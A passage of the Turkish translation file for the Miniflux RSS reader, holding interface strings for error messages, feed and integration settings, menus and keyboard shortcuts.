tekrar deneyin veya uygulama yapılandırmasını değiştirin.\",\n    \"error.http_unexpected_status_code\": \"Beklenmeyen bir HTTP durum kodu nedeniyle bu websitesi şu anda kullanılamıyor: %d. Sorun Miniflux tarafında değil. Lütfen daha sonra tekrar deneyiniz.\",\n    \"error.invalid_categories_sorting_order\": \"Geçersiz kategori sıralama düzeni.\",\n    \"error.invalid_default_home_page\": \"Geçersiz varsayılan ana sayfa!\",\n    \"error.invalid_display_mode\": \"Geçersiz web uygulaması görüntüleme modu.\",\n    \"error.invalid_entry_direction\": \"Geçersiz makele sıralaması.\",\n    \"error.invalid_entry_order\": \"Geçersiz makele sıralaması.\",\n    \"error.invalid_feed_proxy_url\": \"Geçersiz proxy URL'si.\",\n    \"error.invalid_feed_url\": \"Geçersiz besleme URL'si.\",\n    \"error.invalid_gesture_nav\": \"Hareketle gezinme geçersiz.\",\n    \"error.invalid_language\": \"Geçersiz dil.\",\n    \"error.invalid_site_url\": \"Geçersiz site URL'si.\",\n    \"error.invalid_theme\": \"Geçersiz tema.\",\n    \"error.invalid_timezone\": \"Geçersiz saat dilimi.\",\n    \"error.network_operation\": \"Miniflux bir ağ hatası nedeniyle bu websitesine erişemiyor: %v.\",\n    \"error.network_timeout\": \"Bu websitesi çok yavaş ve istek zaman aşımına uğradı: %v\",\n    \"error.password_min_length\": \"Parola en az 6 karakter içermeli.\",\n    \"error.proxy_url_not_empty\": \"Proxy URL'si boş olamaz.\",\n    \"error.settings_block_rule_fieldname_invalid\": \"Geçersiz Engelleme kuralı: #%d kuralında geçerli bir alan adı eksik (Seçenekler: %s)\",\n    \"error.settings_block_rule_invalid_regex\": \"Geçersiz Engelleme kuralı: #%d kuralı modeli geçerli bir düzenli ifade değil\",\n    \"error.settings_block_rule_regex_required\": \"Geçersiz Engelleme kuralı: #%d kuralı modeli sağlanmadı\",\n    \"error.settings_block_rule_separator_required\": \"Geçersiz Engelleme kuralı: #%d kuralı modelinin '=' ile ayrılması gerekiyor\",\n    \"error.settings_invalid_domain_list\": \"Geçersiz alan adı listesi. Lütfen boşlukla ayrılmış bir alan adı listesi girin.\",\n    \"error.settings_keep_rule_fieldname_invalid\": \"Geçersiz Koruma kuralı: #%d kuralında geçerli bir alan adı eksik (Seçenekler: %s)\",\n    \"error.settings_keep_rule_invalid_regex\": \"Geçersiz Koruma kuralı: #%d kuralı modeli geçerli bir düzenli ifade değil\",\n    \"error.settings_keep_rule_regex_required\": \"Geçersiz Koruma kuralı: #%d kuralı modeli sağlanmadı\",\n    \"error.settings_keep_rule_separator_required\": \"Geçersiz Koruma kuralı: #%d kuralı modelinin '=' ile ayrılması gerekiyor\",\n    \"error.settings_mandatory_fields\": \"Kullanıcı ad, tema, dil ve saat dilimi zorunlu.\",\n    \"error.settings_media_playback_rate_range\": \"Oynatma hızı aralık dışında\",\n    \"error.settings_reading_speed_is_positive\": \"Okuma hızları pozitif tam sayılar olmalıdır.\",\n    \"error.site_url_not_empty\": \"Site URL'si boş olamaz.\",\n    \"error.subscription_not_found\": \"Herhangi bir abonelik bulunamadı.\",\n    \"error.title_required\": \"Başlık zorunlu.\",\n    \"error.tls_error\": \"TLS hatası: %q. İsterseniz feed ayarlarından TLS doğrulamasını devre dışı bırakabilirsiniz.\",\n    \"error.unable_to_create_api_key\": \"Bu API anahtarı oluşturulamıyor.\",\n    \"error.unable_to_create_category\": \"Bu kategori oluşturulamıyor.\",\n    \"error.unable_to_create_user\": \"Bu kullanıcı oluşturulamıyor.\",\n    \"error.unable_to_detect_rssbridge\": \"RSS-Bridge kullanılarak besleme algılanamıyor: %v.\",\n    \"error.unable_to_parse_feed\": \"Bu besleme ayrıştırılamıyor: %v.\",\n    \"error.unable_to_update_category\": \"Bu kategori güncellenemiyor.\",\n    \"error.unable_to_update_feed\": \"Bu besleme güncellenemiyor.\",\n    \"error.unable_to_update_user\": \"Bu kullanıcı güncellenemiyor.\",\n    \"error.unlink_account_without_password\": \"Bir şifre belirlemelisiniz, aksi takdirde tekrar oturum açamazsınız.\",\n    \"error.user_already_exists\": \"Bu kullanıcı zaten mevcut.\",\n    \"error.user_mandatory_fields\": \"Kullanıcı adı zorunlu.\",\n    \"error.linktaco_missing_required_fields\": \"LinkTaco API Token ve Organization Slug gereklidir\",\n    \"form.api_key.label.description\": \"API Anahtar Etiketi\",\n    \"form.category.hide_globally\": \"Genel okunmamış listesindeki girişleri gizle\",\n    \"form.category.label.title\": \"Başlık\",\n    \"form.feed.fieldset.general\": \"Genel\",\n    \"form.feed.fieldset.integration\": \"Üçüncü Taraf Hizmetleri\",\n    \"form.feed.fieldset.network_settings\": \"Ağ Ayarları\",\n    \"form.feed.fieldset.rules\": \"Kurallar\",\n    \"form.feed.label.allow_self_signed_certificates\": \"Kendinden imzalı veya geçersiz sertifikalara izin ver\",\n    \"form.feed.label.apprise_service_urls\": \"Apprise hizmet URL'lerinin virgülle ayrılmış listesi\",\n    \"form.feed.label.block_filter_entry_rules\": \"Giriş Engelleme Kuralları\",\n    \"form.feed.label.blocklist_rules\": \"Regex Tabanlı Engelleme Filtreleri\",\n    \"form.feed.label.category\": \"Kategori\",\n    \"form.feed.label.cookie\": \"Çerezleri Ayarla\",\n    \"form.feed.label.crawler\": \"Orijinal içeriği çek\",\n    \"form.feed.label.ignore_entry_updates\": \"Ignore entry updates\",\n    \"form.feed.label.description\": \"Açıklama\",\n    \"form.feed.label.disable_http2\": \"Parmak izini önlemek için HTTP/2'yi devre dışı bırakın\",\n    \"form.feed.label.disabled\": \"Bu beslemeyi yenileme\",\n    \"form.feed.label.feed_password\": \"Besleme Parolası\",\n    \"form.feed.label.feed_url\": \"Besleme URL'si\",\n    \"form.feed.label.feed_username\": \"Besleme Kullanıcı Adı\",\n    \"form.feed.label.fetch_via_proxy\": \"Uygulama düzeyinde yapılandırılmış proxy'yi kullan\",\n    \"form.feed.label.hide_globally\": \"Genel okunmamış listesindeki girişleri gizle\",\n    \"form.feed.label.ignore_http_cache\": \"HTTP önbelleğini yoksay\",\n    \"form.feed.label.keep_filter_entry_rules\": \"Giriş İzin Kuralları\",\n    \"form.feed.label.keeplist_rules\": \"Regex Tabanlı Tutma Filtreleri\",\n    \"form.feed.label.no_media_player\": \"Medya oynatıcı yok (ses/video)\",\n    \"form.feed.label.ntfy_activate\": \"Makaleleri ntfy'ye gönder\",\n    \"form.feed.label.ntfy_default_priority\": \"Ntfy varsayılan öncelik\",\n    \"form.feed.label.ntfy_high_priority\": \"Ntfy yüksek öncelik\",\n    \"form.feed.label.ntfy_low_priority\": \"Ntfy düşük öncelik\",\n    \"form.feed.label.ntfy_max_priority\": \"Ntfy maksimum öncelik\",\n    \"form.feed.label.ntfy_min_priority\": \"Ntfy minimum öncelik\",\n    \"form.feed.label.ntfy_priority\": \"Ntfy öncelik\",\n    \"form.feed.label.ntfy_topic\": \"Ntfy konusu (isteğe bağlı)\",\n    \"form.feed.label.proxy_url\": \"Proxy URL\",\n    \"form.feed.label.pushover_activate\": \"Makaleleri pushover.net'e gönder\",\n    \"form.feed.label.pushover_default_priority\": \"Pushover varsayılan öncelik\",\n    \"form.feed.label.pushover_high_priority\": \"Pushover yüksek öncelik\",\n    \"form.feed.label.pushover_low_priority\": \"Pushover düşük öncelik\",\n    \"form.feed.label.pushover_max_priority\": \"Pushover maksimum öncelik\",\n    \"form.feed.label.pushover_min_priority\": \"Pushover minimum öncelik\",\n    \"form.feed.label.pushover_priority\": \"Pushover mesaj önceliği\",\n    \"form.feed.label.rewrite_rules\": \"İçerik Yeniden Yazma Kuralları\",\n    \"form.feed.label.scraper_rules\": \"Scrapper Kuralları\",\n    \"form.feed.label.site_url\": \"Site URL'si\",\n    \"form.feed.label.title\": \"Başlık\",\n    \"form.feed.label.urlrewrite_rules\": \"URL Yeniden Yazma Kuralları\",\n    \"form.feed.label.user_agent\": \"Varsayılan User Agent'i Geçersiz Kıl\",\n    \"form.feed.label.webhook_url\": \"Webhook URL'sini geçersiz kıl\",\n    \"form.import.label.file\": \"OPML dosyası\",\n    \"form.import.label.url\": \"URL\",\n    \"form.integration.archiveorg_activate\": \"Makaleleri archive.org'a gönder\",\n    \"form.integration.apprise_activate\": \"Makaleleri Apprise'a gönder\",\n    \"form.integration.apprise_services_url\": \"Apprise hizmet URL'lerinin virgülle ayrılmış listesi\",\n    \"form.integration.apprise_url\": \"Apprise API URL\",\n    \"form.integration.betula_activate\": \"Makaleleri Betula'ya kaydet\",\n    \"form.integration.betula_token\": \"Betula Token\",\n    \"form.integration.betula_url\": \"Betula sunucu URLsi\",\n    \"form.integration.cubox_activate\": \"Makaleleri Cubox'a kaydet\",\n    \"form.integration.cubox_api_link\": \"Cubox API bağlantısı\",\n    \"form.integration.discord_activate\": \"Makaleleri Discord'a gönder\",\n    \"form.integration.discord_webhook_link\": \"Discord hizmet Webhook'lerinin virgülle ayrılmış listesi\",\n    \"form.integration.espial_activate\": \"Makaleleri Espial'e kaydet\",\n    \"form.integration.espial_api_key\": \"Espial API Anahtarı\",\n    \"form.integration.espial_endpoint\": \"Espial API Uç Noktası\",\n    \"form.integration.espial_tags\": \"Espial Etiketleri\",\n    \"form.integration.fever_activate\": \"Fever API'yi Etkinleştir\",\n    \"form.integration.fever_endpoint\": \"Fever API uç noktası:\",\n    \"form.integration.fever_password\": \"Fever Parolası\",\n    \"form.integration.fever_username\": \"Fever Kullanıcı Adı\",\n    \"form.integration.googlereader_activate\": \"Google Reader API'yi Etkinleştir\",\n    \"form.integration.googlereader_endpoint\": \"Google Reader API uç noktası:\",\n    \"form.integration.googlereader_password\": \"Google Reader Parolası\",\n    \"form.integration.googlereader_username\": \"Google Reader Kullanıcı Adı\",\n    \"form.integration.instapaper_activate\": \"Makaleleri Instapaper'a kaydet\",\n    \"form.integration.instapaper_password\": \"Instapaper Parolası\",\n    \"form.integration.instapaper_username\": \"Instapaper Kullanıcı Adı\",\n    \"form.integration.karakeep_activate\": \"Makaleleri Karakeep'a kaydet\",\n    \"form.integration.karakeep_api_key\": \"Karakeep API anahtarı\",\n    \"form.integration.karakeep_url\": \"Karakeep API Uç Noktası\",\n    \"form.integration.karakeep_tags\": \"Karakeep Tags\",\n    \"form.integration.linkace_activate\": \"Makaleleri LinkAce'e kaydet\",\n    \"form.integration.linkace_api_key\": \"LinkAce API anahtarı\",\n    \"form.integration.linkace_check_disabled\": \"Link kontrolünü devre dışı bırak\",\n    \"form.integration.linkace_endpoint\": \"LinkAce API Uç Noktası\",\n    \"form.integration.linkace_is_private\": \"Linki özel olarak işaretle\",\n    \"form.integration.linkace_tags\": \"LinkAce Etiketleri\",\n    \"form.integration.linkding_activate\": \"Makaleleri Linkding'e kaydet\",\n    \"form.integration.linkding_api_key\": \"Linkding API Anahtarı\",\n    \"form.integration.linkding_bookmark\": \"Yer imini okunmadı olarak işaretle\",\n    \"form.integration.linkding_endpoint\": \"Linkding API Uç Noktası\",\n    \"form.integration.linkding_tags\": \"Linkding Etiketleri\",\n    \"form.integration.linktaco_activate\": \"Makaleleri LinkTaco'ya kaydet\",\n    \"form.integration.linktaco_api_token\": \"LinkTaco API Token\",\n    \"form.integration.linktaco_api_token_hint\": \"Kişisel erişim tokenınızı edinin\",\n    \"form.integration.linktaco_org_slug\": \"Organizasyon kısaltması\",\n    \"form.integration.linktaco_tags\": \"Etiketler (maks 10, virgülle ayrılmış)\",\n    \"form.integration.linktaco_tags_hint\": \"Maksimum 10 etiket, virgülle ayrılmış\",\n    \"form.integration.linktaco_visibility\": \"Görünürlük\",\n    \"form.integration.linktaco_visibility_public\": \"Genel\",\n    \"form.integration.linktaco_visibility_private\": \"Özel\",\n    \"form.integration.linktaco_visibility_hint\": \"ÖZEL görünürlük ücretli bir LinkTaco hesabı gerektirir\",\n    \"form.integration.linkwarden_activate\": \"Makaleleri Linkwarden'e kaydet\",\n    \"form.integration.linkwarden_api_key\": \"Linkwarden API Anahtarı\",\n    \"form.integration.linkwarden_endpoint\": \"Linkwarden Temel URL'si\",\n    \"form.integration.linkwarden_collection_id\": \"Linkwarden Collection ID\",\n    \"form.integration.matrix_bot_activate\": \"Yeni makaleleri Matrix'e aktarın\",\n    \"form.integration.matrix_bot_chat_id\": \"Matrix odasının kimliği\",\n    \"form.integration.matrix_bot_password\": \"Matrix kullanıcısı için parola\",\n    \"form.integration.matrix_bot_url\": \"Matrix sunucu URL'si\",\n    \"form.integration.matrix_bot_user\": \"Matrix için Kullanıcı Adı\",\n    \"form.integration.notion_activate\": \"Makaleleri Notion'a kaydet\",\n    \"form.integration.notion_page_id\": \"Notion Sayfa ID'si\",\n    \"form.integration.notion_token\": \"Notion Secret Token\",\n    \"form.integration.ntfy_activate\": \"Makaleleri ntfy'ye gönder\",\n    \"form.integration.ntfy_api_token\": \"Ntfy API Token (isteğe bağlı)\",\n    \"form.integration.ntfy_icon_url\": \"Ntfy ikon URL'si (isteğe bağlı)\",\n    \"form.integration.ntfy_internal_links\": \"Tıklamada dahili bağlantıları kullan (isteğe bağlı)\",\n    \"form.integration.ntfy_password\": \"Ntfy parolası (isteğe bağlı)\",\n    \"form.integration.ntfy_topic\": \"Ntfy konusu (beslemede yoksa varsayılan kullanılır)\",\n    \"form.integration.ntfy_url\": \"Ntfy URL'si (isteğe bağlı, varsayılan ntfy.sh)\",\n    \"form.integration.ntfy_username\": \"Ntfy kullanıcı adı (isteğe bağlı)\",\n    \"form.integration.nunux_keeper_activate\": \"Makaleleri Nunux Keeper'a kaydet\",\n    \"form.integration.nunux_keeper_api_key\": \"Nunux Keeper API anahtarı\",\n    \"form.integration.nunux_keeper_endpoint\": \"Nunux Keeper API Uç Noktası\",\n    \"form.integration.omnivore_activate\": \"Makaleleri Omnivore'a kaydet\",\n    \"form.integration.omnivore_api_key\": \"Omnivore API anahtarı\",\n    \"form.integration.omnivore_url\": \"Omnivore API Uç Noktası\",\n    \"form.integration.pinboard_activate\": \"Makaleleri Pinboard'a kaydet\",\n    \"form.integration.pinboard_bookmark\": \"Yer imini okunmadı olarak işaretle\",\n    \"form.integration.pinboard_tags\": \"Pinboard Etiketleri\",\n    \"form.integration.pinboard_token\": \"Pinboard API Token\",\n    \"form.integration.pushover_activate\": \"Makaleleri Pushover'a gönder\",\n    \"form.integration.pushover_device\": \"Pushover cihazı (isteğe bağlı)\",\n    \"form.integration.pushover_prefix\": \"Pushover URL öneki (isteğe bağlı)\",\n    \"form.integration.pushover_token\": \"Pushover uygulama API anahtarı\",\n    \"form.integration.pushover_user\": \"Pushover kullanıcı anahtarı\",\n    \"form.integration.raindrop_activate\": \"Makaleleri Raindrop'a kaydet\",\n    \"form.integration.raindrop_collection_id\": \"Koleksiyon ID\",\n    \"form.integration.raindrop_tags\": \"Etiketler (virgülle ayrılmış)\",\n    \"form.integration.raindrop_token\": \"(Test) Token\",\n    \"form.integration.readeck_activate\": \"Makaleleri Readeck'e kaydet\",\n    \"form.integration.readeck_api_key\": \"Readeck API Anahtarı\",\n    \"form.integration.readeck_endpoint\": \"Readeck API Uç Noktası\",\n    \"form.integration.readeck_labels\": \"Readeck Etiketleri\",\n    \"form.integration.readeck_only_url\": \"Yalnızca URL gönder (tam makale yerine)\",\n    \"form.integration.readeck_push_activate\": \"Yeni makaleleri otomatik olarak Readeck'e gönder\",\n    \"form.integration.readwise_activate\": \"Makaleleri Readwise Reader'a kaydet\",\n    \"form.integration.readwise_api_key\": \"Readwise Reader Access Token\",\n    \"form.integration.readwise_api_key_link\": \"Readwise Access Token'ınızı alın\",\n    \"form.integration.rssbridge_activate\": \"Abonelik eklerken RSS-Bridge'i kontrol edin\",\n    \"form.integration.rssbridge_token\": \"RSS-Bridge kimlik doğrulama jetonu\",\n    \"form.integration.rssbridge_url\": \"RSS-Bridge server URL\",\n    \"form.integration.shaarli_activate\": \"Makaleleri Shaarli'ye kaydet\",\n    \"form.integration.shaarli_api_secret\": \"Shaarli API Secret\",\n    \"form.integration.shaarli_endpoint\": \"Shaarli URL\",\n    \"form.integration.shiori_activate\": \"Makaleleri Shiori'ye kaydet\",\n    \"form.integration.shiori_endpoint\": \"Shiori API Uç Noktası\",\n    \"form.integration.shiori_password\": \"Shiori Parolası\",\n    \"form.integration.shiori_username\": \"Shiori Kullanıcı Adı\",\n    \"form.integration.slack_activate\": \"Makaleleri Slack'a gönder\",\n    \"form.integration.slack_webhook_link\": \"Slack hizmet Webhook'lerinin virgülle ayrılmış listesi\",\n    \"form.integration.telegram_bot_activate\": \"Yeni makaleleri Telegram sohbetine gönderin\",\n    \"form.integration.telegram_bot_disable_buttons\": \"Butonları devre dışı bırak\",\n    \"form.integration.telegram_bot_disable_notification\": \"Bildirimleri devre dışı bırak\",\n    \"form.integration.telegram_bot_disable_web_page_preview\": \"Web sayfası önizlemesini devre dışı bırak\",\n    \"form.integration.telegram_bot_token\": \"Bot token\",\n    \"form.integration.telegram_chat_id\": \"Sohbet ID\",\n    \"form.integration.telegram_topic_id\": \"Konu ID\",\n    \"form.integration.wallabag_activate\": \"Makaleleri Wallabag'e kaydet\",\n    \"form.integration.wallabag_client_id\": \"Wallabag Client ID\",\n    \"form.integration.wallabag_client_secret\": \"Wallabag Client Secret\",\n    \"form.integration.wallabag_endpoint\": \"Wallabag Üssü URL\",\n    \"form.integration.wallabag_only_url\": \"Yalnızca URL gönder (tam makale yerine)\",\n    \"form.integration.wallabag_password\": \"Wallabag Parolası\",\n    \"form.integration.wallabag_username\": \"Wallabag Kullanıcı Adı\",\n    \"form.integration.wallabag_tags\": \"Wallabag etiketleri\",\n    \"form.integration.webhook_activate\": \"Webhook'u etkinleştir\",\n    \"form.integration.webhook_secret\": \"Webhooks Secret\",\n    \"form.integration.webhook_url\": \"Default Webhook URL\",\n    \"form.prefs.fieldset.application_settings\": \"Uygulama Ayarları\",\n    \"form.prefs.fieldset.authentication_settings\": \"Kimlik Doğrulama Ayarları\",\n    \"form.prefs.fieldset.global_feed_settings\": \"Genel Besleme Ayarları\",\n    \"form.prefs.fieldset.reader_settings\": \"Okuyucu Ayarları\",\n    \"form.prefs.help.external_font_hosts\": \"İzin verilecek harici font sunucularının boşlukla ayrılmış listesi. Örneğin: 'fonts.gstatic.com fonts.googleapis.com'.\",\n    \"form.prefs.label.always_open_external_links\": \"Makaleleri harici bağlantıları açarak oku\",\n    \"form.prefs.label.categories_sorting_order\": \"Kategori sıralaması\",\n    \"form.prefs.label.cjk_reading_speed\": \"Çince, Korece ve Japonca için okuma hızı (dakika başına karakter)\",\n    \"form.prefs.label.custom_css\": \"Özel CSS\",\n    \"form.prefs.label.custom_js\": \"Özel JavaScript\",\n    \"form.prefs.label.default_home_page\": \"Varsayılan ana sayfa\",\n    \"form.prefs.label.default_reading_speed\": \"Diğer diller için okuma hızı (dakika başına kelime)\",\n    \"form.prefs.label.display_mode\": \"Progressive Web App (PWA) görüntüleme modu\",\n    \"form.prefs.label.entries_per_page\": \"Sayfa başına makale\",\n    \"form.prefs.label.entry_order\": \"Makale Sıralama Sütunu\",\n    \"form.prefs.label.entry_sorting\": \"Makale Sıralaması\",\n    \"form.prefs.label.entry_swipe\": \"Dokunmatik ekranlarda makale kaydırmayı etkinleştir\",\n    \"form.prefs.label.external_font_hosts\": \"Harici font sunucuları\",\n    \"form.prefs.label.gesture_nav\": \"Makaleler arasında gezinmek için dokunma hareketi\",\n    \"form.prefs.label.keyboard_shortcuts\": \"Klavye kısayollarını etkinleştir\",\n    \"form.prefs.label.language\": \"Dil\",\n    \"form.prefs.label.mark_read_manually\": \"Mark entries as read manually\",\n    \"form.prefs.label.mark_read_on_media_completion\": \"Only mark as read when audio/video playback reaches 90%% completion\",\n    \"form.prefs.label.mark_read_on_view\": \"Makaleler görüntülendiğinde otomatik olarak okundu olarak işaretle\",\n    \"form.prefs.label.mark_read_on_view_or_media_completion\": \"Mark entries as read when viewed. For audio/video, mark as read at 90%% completion\",\n    \"form.prefs.label.media_playback_rate\": \"Ses/video oynatma hızı\",\n    \"form.prefs.label.open_external_links_in_new_tab\": \"Harici bağlantıları yeni bir sekmede aç (bağlantılara target=\\\"_blank\\\" ekler)\",\n    \"form.prefs.label.show_reading_time\": \"Makaleler için tahmini okuma süresini göster\",\n    \"form.prefs.label.theme\": \"Tema\",\n    \"form.prefs.label.timezone\": \"Saat Dilimi\",\n    \"form.prefs.select.alphabetical\": \"Alfabetik\",\n    \"form.prefs.select.browser\": \"Tarayıcı\",\n    \"form.prefs.select.created_time\": \"İçeriğin oluşturulma zamanı\",\n    \"form.prefs.select.fullscreen\": \"Tam Ekran\",\n    \"form.prefs.select.minimal_ui\": \"Minimal\",\n    \"form.prefs.select.none\": \"Hiçbiri\",\n    \"form.prefs.select.older_first\": \"Önce eski makaleler\",\n    \"form.prefs.select.publish_time\": \"Makale yayınlanma zamanı\",\n    \"form.prefs.select.recent_first\": \"Önce yeni makaleler\",\n    \"form.prefs.select.standalone\": \"Bağımsız\",\n    \"form.prefs.select.swipe\": \"Kaydırma\",\n    \"form.prefs.select.tap\": \"Çift dokunma\",\n    \"form.prefs.select.unread_count\": \"Okunmamış sayısı\",\n    \"form.submit.loading\": \"Yükleniyor...\",\n    \"form.submit.saving\": \"Kaydediliyor...\",\n    \"form.user.label.admin\": \"Yönetici\",\n    \"form.user.label.confirmation\": \"Parola Doğrulama\",\n    \"form.user.label.password\": \"Parola\",\n    \"form.user.label.username\": \"Kullanıcı Adı\",\n    \"menu.about\": \"Hakkında\",\n    \"menu.add_feed\": \"Besleme ekle\",\n    \"menu.add_user\": \"Kullanıcı ekle\",\n    \"menu.api_keys\": \"API Anahtarları\",\n    \"menu.categories\": \"Kategoriler\",\n    \"menu.create_api_key\": \"Yeni bir API anahtarı oluştur\",\n    \"menu.create_category\": \"Kategori oluştur\",\n    \"menu.edit_category\": \"Düzenle\",\n    \"menu.edit_feed\": \"Düzenle\",\n    \"menu.export\": \"Dışarı Aktar\",\n    \"menu.feed_entries\": \"Makaleler\",\n    \"menu.feeds\": \"Beslemeler\",\n    \"menu.flush_history\": \"Geçmişi temizle\",\n    \"menu.history\": \"Geçmiş\",\n    \"menu.home_page\": \"Anasayfa\",\n    \"menu.import\": \"İçeri Aktar\",\n    \"menu.integrations\": \"Entegrasyonlar\",\n    \"menu.logout\": \"Çıkış\",\n    \"menu.mark_all_as_read\": \"Tümünü okundu olarak işaretle\",\n    \"menu.mark_page_as_read\": \"Bu sayfayı okundu olarak işaretle\",\n    \"menu.preferences\": \"Tercihler\",\n    \"menu.refresh_all_feeds\": \"Tüm beslemeleri arka planda yenile\",\n    \"menu.refresh_feed\": \"Yenile\",\n    \"menu.search\": \"Ara\",\n    \"menu.sessions\": \"Oturumlar\",\n    \"menu.settings\": \"Ayarlar\",\n    \"menu.shared_entries\": \"Paylaşılan makaleler\",\n    \"menu.show_all_entries\": \"Tüm makaleleri göster\",\n    \"menu.show_only_starred_entries\": \"Sadece yıldızlanmış makaleleri göster\",\n    \"menu.show_only_unread_entries\": \"Sadece okunmamış makaleleri göster\",\n    \"menu.starred\": \"Yıldız\",\n    \"menu.title\": \"Menü\",\n    \"menu.unread\": \"Okunmadı\",\n    \"menu.users\": \"Kullanıcılar\",\n    \"page.about.author\": \"Yazar:\",\n    \"page.about.build_date\": \"Oluşturulma Tarihi:\",\n    \"page.about.credits\": \"Katkıda Bulunanlar\",\n    \"page.about.db_usage\": \"Veritabanı boyutu:\",\n    \"page.about.git_commit\": \"Git Commit:\",\n    \"page.about.global_config_options\": \"Global yapılandırma seçenekleri\",\n    \"page.about.go_version\": \"Go sürümü:\",\n    \"page.about.license\": \"Lisans:\",\n    \"page.about.postgres_version\": \"Postgres sürümü:\",\n    \"page.about.title\": \"Hakkında\",\n    \"page.about.version\": \"Sürüm:\",\n    \"page.add_feed.choose_feed\": \"Bir Besleme Seçin\",\n    \"page.add_feed.label.url\": \"URL\",\n    \"page.add_feed.legend.advanced_options\": \"Gelişmiş Seçenekler\",\n    \"page.add_feed.no_category\": \"Kategori yok. En az bir kategoriye sahip olmalısınız.\",\n    \"page.add_feed.submit\": \"Besleme bul\",\n    \"page.add_feed.title\": \"Yeni Besleme\",\n    \"page.api_keys.never_used\": \"Hiç Kullanılmadı\",\n    \"page.api_keys.table.actions\": \"Hareketler\",\n    \"page.api_keys.table.created_at\": \"Oluşturulma Tarihi\",\n    \"page.api_keys.table.description\": \"Açıklama\",\n    \"page.api_keys.table.last_used_at\": \"Son Kullanılma\",\n    \"page.api_keys.table.token\": \"Token\",\n    \"page.api_keys.title\": \"API Anahtarları\",\n    \"page.categories.entries\": \"Makaleler\",\n    \"page.categories.feed_count\": [\n        \"%d besleme var.\",\n        \"%d besleme var.\"\n    ],\n    \"page.categories.feeds\": \"Beslemeler\",\n    \"page.categories.no_feed\": \"Besleme yok.\",\n    \"page.categories.title\": \"Kategoriler\",\n    \"page.categories_count\": [\n        \"%d kategori\",\n        \"%d kategori\"\n    ],\n    \"page.category_label\": \"Kategori: %s\",\n    \"page.edit_category.title\": \"Kategoriyi Düzenle: %s\",\n    \"page.edit_feed.etag_header\": \"ETag başlığı:\",\n    \"page.edit_feed.last_check\": \"Son kontrol:\",\n    \"page.edit_feed.last_modified_header\": \"LastModified başlığı:\",\n    \"page.edit_feed.last_parsing_error\": \"Son Ayrıştırma Hatası\",\n    \"page.edit_feed.no_header\": \"Hiçbiri\",\n    \"page.edit_feed.title\": \"Beslemeyi düzenle: %s\",\n    \"page.edit_user.title\": \"Kullanıcıyı Düzenle: %s\",\n    \"page.entry.attachments\": \"Ekler\",\n    \"page.feeds.error_count\": [\n        \"%d hatası\",\n        \"%d hatası\"\n    ],\n    \"page.feeds.last_check\": \"Son kontrol:\",\n    \"page.feeds.next_check\": \"Sonraki kontrol:\",\n    \"page.feeds.read_counter\": \"Okunmuş makalelerin sayısı\",\n    \"page.feeds.title\": \"Beslemeler\",\n    \"page.footer.elevator\": \"Başa dön\",\n    \"page.history.title\": \"Geçmiş\",\n    \"page.import.title\": \"İçeri Aktar\",\n    \"page.integration.bookmarklet\": \"Bookmarklet\",\n    \"page.integration.bookmarklet.help\": \"Bu özel bağlantı, web tarayıcınızdaki yer imini kullanarak bir websitesine doğrudan abone olmanızı sağlar.\",\n    \"page.integration.bookmarklet.instructions\": \"Bu bağlantıyı yer imlerinize sürükleyip bırakın\",\n    \"page.integration.bookmarklet.name\": \"Miniflux'a Ekle\",\n    \"page.integration.miniflux_api\": \"Miniflux API\",\n    \"page.integration.miniflux_api_endpoint\": \"API Uç Noktası\",\n    \"page.integration.miniflux_api_password\": \"Parola\",\n    \"page.integration.miniflux_api_password_value\": \"Hesap parolan\",\n    \"page.integration.miniflux_api_username\": \"Kullanıcı adı\",\n    \"page.integrations.title\": \"Entegrasyonlar\",\n    \"page.keyboard_shortcuts.close_modal\": \"İletişim kutusunu kapat\",\n    \"page.keyboard_shortcuts.download_content\": \"Orijinal içeriği indir\",\n    \"page.keyboard_shortcuts.go_to_bottom_item\": \"Alt makeleye git\",\n    \"page.keyboard_shortcuts.go_to_categories\": \"Kategorilere git\",\n    \"page.keyboard_shortcuts.go_to_feed\": \"Beslemeye git\",\n    \"page.keyboard_shortcuts.go_to_feeds\": \"Beslemelere git\",\n    \"page.keyboard_shortcuts.go_to_history\": \"Geçmişe git\",\n    \"page.keyboard_shortcuts.go_to_next_item\": \"Sonraki makeleye git\",\n    \"page.keyboard_shortcuts.go_to_next_page\": \"Sonraki sayfaya git\",\n    \"page.keyboard_shortcuts.go_to_previous_item\": \"Önceki makeleye git\",\n    \"page.keyboard_shortcuts.go_to_previous_page\": \"Önceki sayfaya git\",\n    \"page.keyboard_shortcuts.go_to_search\": \"Arama formuna odakla\",\n    \"page.keyboard_shortcuts.go_to_settings\": \"Ayarlara git\",\n    \"page.keyboard_shortcuts.go_to_starred\": \"Yer imlerine git\",\n    \"page.keyboard_shortcuts.go_to_top_item\": \"En üstteki makeleye git\",\n    \"page.keyboard_shortcuts.go_to_unread\": \"Okunmamışa git\",\n    \"page.keyboard_shortcuts.mark_page_as_read\": \"Mevcut sayfayı okundu olarak işaretle\",\n    \"page.keyboard_shortcuts.open_comments\": \"Yorumlar bağlantısını aç\",\n    \"page.keyboard_shortcuts.open_comments_same_window\": \"Yorumlar bağlantısını mevcut sekmede aç\",\n    \"page.keyboard_shortcuts.open_item\": \"Seçili makeleyi aç\",\n    \"page.keyboard_shortcuts.open_original\": \"Orijinal bağlantıyı aç\",\n    \"page.keyboard_shortcuts.open_original_same_window\": \"Orijinal bağlantıyı mevcut sekmede aç\",\n    \"page.keyboard_shortcuts.refresh_all_feeds\": \"Tüm beslemeleri arka planda yenile\",\n    \"page.keyboard_shortcuts.remove_feed\": \"Bu beslemeyi kaldır\",\n    \"page.keyboard_shortcuts.save_article\": \"İçeriği kaydet\",\n    \"page.keyboard_shortcuts.scroll_item_to_top\": \"Makaleyi en üste kaydır\",\n    \"page.keyboard_shortcuts.show_keyboard_shortcuts\": \"Klavye kısayollarını göster\",\n    \"page.keyboard_shortcuts.subtitle.actions\": \"Eylemler\",\n    \"page.keyboard_shortcuts.subtitle.items\": \"Makalelerde Gezinme\",\n    \"page.keyboard_shortcuts.subtitle.pages\": \"Sayfalarda Gezinme\",\n    \"page.keyboard_shortcuts.subtitle.sections\": \"Bölümlerde Gezinme\",\n    \"page.keyboard_shortcuts.title\": \"Klavye Kısayolları\",\n    \"page.keyboard_shortcuts.toggle_star_status\": \"Yıldız ekle/kaldır\",\n    \"page.keyboard_shortcuts.toggle_entry_attachments\": \"Makele eklerini açma/kapama arasında geçiş yap\",\n    \"page.keyboard_shortcuts.toggle_read_status_next\": \"Okundu/okunmadı arasında geçiş yap, sonrakine odaklan\",\n    \"page.keyboard_shortcuts.toggle_read_status_prev\": 